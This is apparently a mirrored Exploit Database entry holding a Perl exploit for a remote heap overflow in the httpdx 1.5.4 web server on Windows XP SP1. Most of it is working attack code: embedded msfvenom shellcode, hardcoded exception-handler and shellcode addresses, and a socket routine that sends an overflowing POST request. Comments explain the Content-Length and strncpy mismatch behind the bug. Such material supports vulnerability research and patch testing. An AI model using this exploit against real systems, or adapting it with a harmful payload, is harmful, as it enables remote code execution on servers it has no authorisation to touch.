httpdx 1.5.4 – Remote Heap Overflow

• Exploit Database
• 16 阅读

• 作者： st3n
  日期： 2012-07-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/20120/

• #!/usr/bin/perl -w
  #======================================================================
  # Exploit Title: httpdx <= 1.5.4 Remote Heap Overflow 
  # Date: 28 July 2012
  # Exploit Author: st3n [at sign] funoverip [dot] net
  # Vendor Homepage: http://httpdx.sourceforge.net
  # Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download
  # Version: 1.5.4
  # Tested on: WinXP SP1
  #======================================================================
  # Additional notes:
  # -----------------
  #
  # - During a POST request, httpdx allocates memory with malloc(size+1),
  # where 'size' is actually the value of "Content-Length" HTTP header..
  # All post-data will then be copied into this area using strncpy(x,y,size2),
  # where 'size2' = "request length" - "header length" (and not Content-Length)
  #
  # - As httpdx use it own handler function upon crash, this exploitoverwrite 
  # the first _VECTORED_EXCEPTION_NODE structure with a pointer to our shellcode.
  #
  # - The exploit works very often, but not always. In both case, httpdx crash 
  # after the exploit.
  #
  # - WinXP SP1
  # 0x77ED73B4 --> UnhandledExceptionFilter()
  #======================================================================
  use strict;
  use IO::Socket::INET;
  
  
  # target
  my $host = "127.0.0.1";
  
  # The [perl|php|py|..] page to call during the POST request.
  # The page must exists and the extension must be defined in the directive 
  # "http.handlers = {...}" in httpdx.conf
  my $page = "/test.pl";
  
  
  # Windows XP - SP1 - English
  # ---------------------------
  # ptr to the first _VECTORED_EXCEPTION_NODE structure= 0x77fc3210 - 4
  my $veh_node_addr = 0x77fc320c ; 
  
  # pointer to out shellcode => 0x00227664 - 8 = 0x0022765c
  my $sc_ptr = 0x0022765c;
  
  
  # shellcode
  # (msfvenom -p windows/exec -f perl CMD=calc.exe)
  my $shellcode =
  "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
  "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
  "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
  "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
  "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
  "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
  "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
  "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
  "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
  "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
  "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" .
  "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" .
  "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" .
  "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" .
  "\x65\x78\x65\x00";
  
  
  # flush after every write
  $| = 1;
  
  my $sock = IO::Socket::INET->new("$host:80");
  
  print $sock "POST $page HTTP/1.0\r\n" . 
  		"Content-Length: 1023\r\n" . 
  		"Content-Type: text\r\n" . 
  		"Host: $host" . "\r\n" .
  		"\r\n" .
  		# shellcode
  		$shellcode .
  		# nops
  		"\x90" x (1032-length($shellcode)) .
  		# VEH addr
  		pack('V', $veh_node_addr) .
  		# ptr to shellcode
  		pack('V', $sc_ptr) 
  		;
  # if any ...
  while(<$sock>){
  print $_;
  }
  exit;